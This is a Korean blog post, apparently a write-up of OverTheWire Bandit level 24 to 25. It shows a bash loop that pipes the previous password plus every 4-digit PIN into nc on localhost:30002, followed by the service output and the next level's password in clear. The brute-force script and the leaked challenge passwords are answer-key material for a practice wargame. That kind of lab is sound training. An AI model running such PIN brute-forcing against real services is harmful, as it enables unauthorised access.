본문 바로가기
CTF Write-UP/overthewire.org (완료)

Bandit Level 24 → Level 25

by CPU 2021. 12. 13.
bandit 24 문제

bandit 24 풀이

쉘 스크립트를 이용하여 풀이를 해준다.

bandit24@bandit:/tmp/cpucode$ vi cpu.sh

 

 #!/bin/bash                                                                                                         
  
 for i in {1..9999}
     do
         echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"
     done | nc localhost 30002

파일을 실행하면 반복문이 돌아가고 다음단계로 가는 패스워드가 나온다.

./cpu.sh 
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.

<생략>

Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Correct!
The password of user bandit25 is <비밀번호>​
더보기

uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

'CTF Write-UP > overthewire.org (완료)' 카테고리의 다른 글

Bandit Level 26 → Level 27  (0) 2021.12.17
Bandit Level 25 → Level 26  (0) 2021.12.14
Bandit Level 23 → Level 24  (0) 2021.11.09
Bandit Level 22 → Level 23  (0) 2021.11.03
Bandit Level 21 → Level 22  (0) 2021.11.02

댓글